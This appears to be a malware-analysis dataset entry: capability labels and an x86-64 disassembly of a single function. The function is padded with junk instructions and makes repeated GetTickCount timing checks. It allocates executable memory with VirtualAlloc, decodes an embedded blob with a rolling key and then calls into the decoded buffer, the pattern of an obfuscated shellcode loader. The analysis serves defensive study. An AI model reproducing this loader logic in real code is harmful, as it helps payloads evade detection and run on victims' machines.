Function at 0x14000107a
Capabilities:
Accept command line arguments
Check for time delay via gettickcount

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x2c0
and qword [rbp - 0x1e0], 0
jmp 0x1400010a6
mov qword [rbp - 0x58], r10
mov r10, qword [rbp - 0x78]
mov rax, 0xfe35
cld
mov qword [rbp - 0x140], r10
cmp qword [rbp - 0x140], 0x4b7c
jb 0x140001118
and rax, 0
mov r10, 0xad11
dec rax
mov r9, rsp
dec r9
and rax, 0
mov qword [rbp - 0x188], r9
xor rax, qword [rbp - 0x188]
mov qword [rbp - 0x1b0], r9
mov r9, qword [rbp - 0x140]
dec qword [rbp - 0x1b0]
mov r10, qword [rbp - 0x78]
mov qword [rbp - 0x30], r9
adc r10, qword [rbp - 0x30]
and r9, 0
dec r9
mov qword [rbp - 0xa0], rsi
mov qword [rbp - 0x150], rax
sub r9, r9
or qword [rbp - 0x150], r9
mov rax, qword [rbp - 0x1b0]
and qword [rbp - 0x80], 0
xor rax, qword [rbp - 0x80]
mov qword [rbp - 0x118], r14
mov qword [rbp - 0x98], r10
sub r14, r14
add qword [rbp - 0x98], r14
mov r9, qword [rbp - 0x30]
not r9
mov qword [rbp - 0x1f0], r8
mov r10, rax
ja 0x1400011cf
mov qword [rbp - 0x228], r9
cld
mov r14, qword [rbp - 0x1f8]
cld
mov rsi, 0x9350
mov qword [rbp - 0x1c8], 0
dec rsi
and r10, 0
cld
mov rax, qword [rbp - 0x98]
mov qword [rbp - 0x178], 0x546a
and rax, qword [rbp - 0x178]
mov qword [rbp - 0x198], 0xaec
and r9, 0
sbb qword [rbp - 0x198], r9
mov qword [rbp - 0x2a0], rbp
sub r9, r9
cld
mov rsi, rbp
mov qword [rbp - 0x148], 0x85d8
jmp 0x1400011e9
mov qword [rbp - 0x208], r11
mov rsi, 0x18d3
mov qword [rbp - 0x1d0], 0x5eb6
jne 0x140001268
mov qword [rbp - 0x200], 0xa999
mov r11, r14
cld
mov qword [rbp - 0xc8], r14
and r11, 0
sub qword [rbp - 0xc8], r11
mov r9, qword [rbp - 0x80]
mov rsi, r10
cld
mov r11, qword [rbp - 0x228]
or r11, 0x119d
cld
mov qword [rbp - 0x1d8], 0x4f2d
or qword [rbp - 0x1d8], 0x9c12
and rax, 0
mov r11, 0xb76e
cld
mov r10, qword [rbp - 0x188]
not r10
cld
mov qword [rbp - 0xf8], rcx
mov qword [rbp - 0x40], 0x266
mov r14, 0x274b
dec qword [rbp - 0x40]
and qword [rbp - 0x108], 0
not qword [rbp - 0x108]
mov qword [rbp - 0x160], rbx
cld
mov rcx, 0xbdf9
and rsi, 0
cld
mov qword [rbp - 0x88], r15
mov rsi, r14
mov rbx, rbp
jmp 0x1400012d7
mov r10, qword [rbp - 0x198]
jne 0x1400012fa
mov r8, 0xa60d
sbb r8, qword [rbp - 0x1c8]
and r9, 0
mov qword [rbp - 0x10], rax
sub r9, qword [rbp - 0x10]
mov qword [rbp - 0x290], rdx
mov rbx, qword [rbp - 0x10]
and rax, 0
dec rbx
mov rdx, r8
cmp rdx, 0x252b
jae 0x140001378
mov rcx, 0xb4fb
cld
mov qword [rbp - 0xc0], 0x525c
mov r15, 0x27c1
and qword [rbp - 0xc0], r15
mov r9, qword [rbp - 0x148]
mov qword [rbp - 0x1c0], 0
xor r9, qword [rbp - 0x1c0]
cld
and rax, 0
not rax
sub rsi, rsi
and rdx, 0
cld
mov qword [rbp - 0x1b8], 0
and rcx, 0
inc qword [rbp - 0x1b8]
mov qword [rbp - 0x1a8], rdi
mov rdi, rsp
mov r8, 0x5f85
cld
mov qword [rbp - 0x28], 0xd3f2
and r9, 0
jmp 0x1400013ec
mov qword [rbp - 0x210], r12
mov r14, 0xd379
ja 0x140001451
mov qword [rbp - 0x70], 0
mov rsi, 0xbec4
cld
sub r8, r8
add r8, 0x3216
mov rcx, 0xa32
cld
and r12, 0
dec r12
mov qword [rbp - 0x190], 0
sub rdx, rdx
cld
mov qword [rbp - 0x20], 0xf606
mov r12, qword [rbp - 0x188]
add qword [rbp - 0x20], r12
mov r15, qword [rbp - 0x150]
not r15
mov qword [rbp - 0x298], rcx
sub rbx, rbx
cld
mov qword [rbp - 0xb8], r13
mov qword [rbp - 0x238], rbp
mov r8, qword [rbp - 0x190]
cld
mov qword [rbp - 0x68], 0x190f
and rdi, 0
test qword [rbp - 0x68], rdi
jbe 0x1400014bb
mov r9, 0x89b6
cld
mov r13, qword [rbp - 0x40]
and r11, 0
dec r13
mov r9, 0xa1eb
cld
sub rsi, rsi
and r11, 0
dec rsi
mov r13, qword [rbp - 0xc0]
inc r13
sub rsi, rsi
and rcx, 0
cld
sub rsp, 0x40
mov rdx, rdi
jmp 0x1400014d9
and r9, 0
cld
mov r13, 0xf43d
mov r15, 0x109a
inc r13
mov r8, qword [rbp - 0x198]
adc r8, qword [rbp - 0x238]
mov qword [rbp - 0x248], r8
mov r12, r14
sbb qword [rbp - 0x248], r12
mov rcx, 0xe014
mov qword [rbp - 0xe0], rsp
add rcx, qword [rbp - 0xe0]
mov qword [rbp - 0x1a0], 0x60c3
cld
mov r13, 0x44f6
dec r13
mov r13, 0x4032
dec qword [rbp - 0x178]
mov r9, 0xdf70
cmp r9, qword [rbp - 0x1c0]
jne 0x1400015af
mov r14, 0x2d03
mov qword [rbp - 0x120], rbx
add r14, qword [rbp - 0x120]
mov r14, 0x6ea1
mov rdx, 0x54f6
cld
mov qword [rbp - 0x180], 0xceb5
sub rdx, rdx
inc qword [rbp - 0x180]
mov r8, 0xe1f
mov qword [rbp - 0x220], r10
adc r8, qword [rbp - 0x220]
mov r14, qword [rbp - 0x70]
mov r11, r10
not r14
mov r10, qword [rbp - 0x1c8]
test qword [rbp - 0xc0], r10
jae 0x1400015ee
mov qword [rbp - 0x138], r12
cld
mov rdx, rax
or rdx, 0x842e
sub r9, r9
cld
mov r13, 0x5501
mov r14, qword [rbp - 0x1d0]
dec r13
mov r14, qword [rbp - 0x68]
inc r14
cld
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rax, 0xe0ca
and qword [rbp - 8], 0
not rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
and rbx, 0
mov r15, 0x4d77
jmp 0x140001620
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rax, qword [rbp - 0x40]
jmp 0x140001687
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r14, qword [rbp - 0x2a0]
mov qword [rbp - 0x240], rsp
sub r14, qword [rbp - 0x240]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub r15, r15
inc r15
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
add qword [rbp - 0x298], 0x30e0
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
and rax, 0
cmp qword [rbp - 0x228], rax
jbe 0x140001707
and qword [rbp - 0x280], 0
mov rbx, 0xc136
cld
mov qword [rbp - 0x48], rbx
mov r12, qword [rbp - 0x140]
xor qword [rbp - 0x48], r12
and rax, 0
dec qword [rbp - 0x28]
mov rdx, 0x6fd2
not qword [rbp - 0x228]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
and r9, 0
add qword [rbp - 0x228], r9
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rbx, 0xd013
mov qword [rbp - 0x60], rbp
jl 0x140001764
inc qword [rbp - 0x280]
and r13, 0
inc r13
mov r13, qword [rbp - 0x30]
not r13
mov r8, rbx
cld
mov rax, 0x94f1
or rax, qword [rbp - 0x1c0]
mov rax, 0x93e5
cld
mov rdx, rbp
inc rdx
not qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rax, 0x3bd4
mov qword [rbp - 0x1e8], rax
test qword [rbp - 0x1e8], rax
jne 0x1400017d0
mov qword [rbp - 0xb0], 0x5491
mov rdi, 0xaddf
sub qword [rbp - 0xb0], rdi
mov qword [rbp - 0x260], rdi
cld
mov rdx, rsp
cld
sub rsi, rsi
not rsi
mov r11, 0xa
add r11, 0x85a5
sub rbx, rbx
mov r14, qword [rbp - 0xb0]
cld
mov r13, qword [rbp - 0x1e0]
sub r15, r15
cld
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov qword [rbp - 0x130], 0x620c
mov r8, qword [rbp - 0x78]
ja 0x140001830
mov r13, 0x189f
mov r14, rbp
dec r13
mov r14, qword [rbp - 0x190]
and r14, 0x23be
mov rbx, r14
mov rdx, rbx
cld
mov rdi, 0x6cd
or rdi, 0x1307
mov qword [rbp - 0x218], 0
mov r10, 0x4cea
not qword [rbp - 0x218]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub r13, r13
inc r13
mov rcx, 0x3f6b6fa
mov r15, rbp
sub rbx, rbx
jae 0x140001882
and rsi, 0
inc qword [rbp - 0x1e0]
mov rax, qword [rbp - 0x150]
sbb rax, 0x853b
sub r11, r11
sub qword [rbp - 0x138], r11
and r8, 0
add r8, qword [rbp - 8]
and rsi, 0
adc qword [rbp - 0x48], rsi
and r13, 0
cld
mov rdx, 0x3d5d6dc5
mov r15, rsp
and r15, 0x3863
call qword [0x1400191b0]
sub r12, r12
cmp r12, qword [rbp - 0xc8]
jl 0x1400018c8
sub rdi, rdi
mov qword [rbp - 0x2a8], 0x62ca
cld
mov r8, 0x3b93
sub rax, rax
cld
mov r11, rsp
sub r10, r10
not r11
cmp dl, 0
jne 0x140001bdb
mov r11, r12
cld
mov r9, 0x40
sub r8, r8
mov r15, 0xeafa
cmp r8, r15
jg 0x140001912
sub rdx, rdx
add rdx, 0xb9e4
mov rcx, rdx
cld
mov r14, qword [rbp - 0x78]
mov r8, qword [rbp - 0x138]
and r14, r8
and r11, 0
adc r11, qword [rbp - 0x1d8]
mov r8, 0x1000
sub r10, r10
test qword [rbp - 0x140], r10
jae 0x140001938
mov rbx, rdx
cld
mov qword [rbp - 0xd0], rdi
mov r14, qword [rbp - 0x1c0]
cld
mov rdx, 0xc036
mov rdi, 0x2c21
and rcx, 0
cld
mov rcx, 0
and r15, 0
test r15, 0x3c03
jg 0x140001966
dec qword [rbp - 0x1c0]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, 0xb2f2
and r10, 0
jmp 0x140001999
mov qword [rbp - 0x258], rax
mov rdx, qword [rbp - 0xc8]
inc rdx
mov qword [rbp - 0x230], 0
mov rcx, qword [rbp - 0xb0]
inc rcx
mov qword [rbp - 0x268], 0
mov r10, qword [rbp - 0x238]
ja 0x140001a30
mov r12, 0x98e
cld
mov rax, qword [rbp - 0x80]
add rax, qword [rbp - 0x18]
and rbx, 0
dec rbx
or qword [rbp - 0x298], 0x5a31
mov qword [rbp - 0x270], rbp
mov r13, qword [rbp - 0x98]
dec qword [rbp - 0x270]
and rbx, 0
mov r15, 0xdc99
and rbx, r15
or qword [rbp - 0x1c8], 0x22fb
sub rbx, rbx
mov rsi, 0xcf28
not rbx
mov qword [rbp - 0x110], 0
mov r10, rbx
sub r9, r9
and r10, r9
mov dword [rbp - 0x268], 0x63fae19a
mov qword [rbp - 0xd8], rdx
mov rbx, r12
cld
mov dword [rbp - 0x110], 0x5a8a5fb9
and rcx, 0
jmp 0x140001a9d
lea rdi, [0x1400161dd]
mov qword [rbp - 0x50], rdi
mov r12, qword [rbp - 0x50]
and r14, 0
mov r15, 0x1fed
jl 0x140001aee
mov r10, 0x509e
inc r10
mov r15, r10
mov qword [rbp - 0x90], 0
sub r15, qword [rbp - 0x90]
sub r11, r11
cld
and r10, 0
mov qword [rbp - 0x158], rcx
adc r10, qword [rbp - 0x158]
add r12, qword [rbp - 0x230]
mov r11, 0x9f24
sub r9, r9
inc r11
mov r12, qword [r12]
and r15, 0
and r14, 0
test r15, r14
jg 0x140001b21
dec qword [rbp - 0x70]
mov rdi, 0x2aa2
not rdi
add r12, qword [rbp - 0x268]
mov qword [rbp - 0xa8], r12
cld
mov r8, qword [rbp - 0x258]
mov r10, 0x8494
cmp r10, qword [rbp - 0x198]
jae 0x140001b55
mov r15, 0x6062
dec qword [rbp - 0xc0]
add r8, qword [rbp - 0x230]
sub r10, r10
cmp r10, qword [rbp - 0x1c0]
jb 0x140001b79
sub r15, r15
mov r13, 0xc370
and r15, r13
sub r15, r15
cld
mov qword [r8], r12
mov r14, qword [rbp - 0x68]
test qword [rbp - 0x140], r14
jg 0x140001baa
mov rdi, qword [rbp - 0x218]
sub rdi, qword [rbp - 0x278]
mov r9, 0x99c4
mov qword [rbp - 0x250], 0x9806
cld
mov r10d, dword [rbp - 0x110]
dec qword [rbp - 0x1d0]
add dword [rbp - 0x268], r10d
sub rdi, rdi
adc rdi, qword [rbp - 0x90]
add dword [rbp - 0x110], 0xbd9fcfdd
mov r12, 0x270f
cld
add dword [rbp - 0x230], 4
mov r13, 0x7b9b
jmp 0x140001c00
cmp dword [rbp - 0x230], 0x2f60
jne 0x140001aa8
mov r12, rcx
test qword [rbp - 0x1e0], r12
jl 0x140001c58
mov r12, 0x2ea4
sub rdi, rdi
not r12
mov r13, 0x3d5a
sub r8, r8
adc r13, r8
mov r10, 0xe078
mov r11, 0xef1b
inc r10
mov rdi, 0x547c
mov r8, 0xfe57
inc rdi
mov r13, qword [rbp - 0x18]
cld
mov rdi, qword [rbp - 0x258]
mov r15, 0x5d93
mov r8, qword [rbp - 0x188]
sbb r15, r8
add rdi, 0x2910
mov r12, qword [rbp - 0x260]
sub r12, qword [rbp - 0x220]
call rdi
mov r10, qword [rbp - 0x228]
jmp 0x140001cc7
leave
ret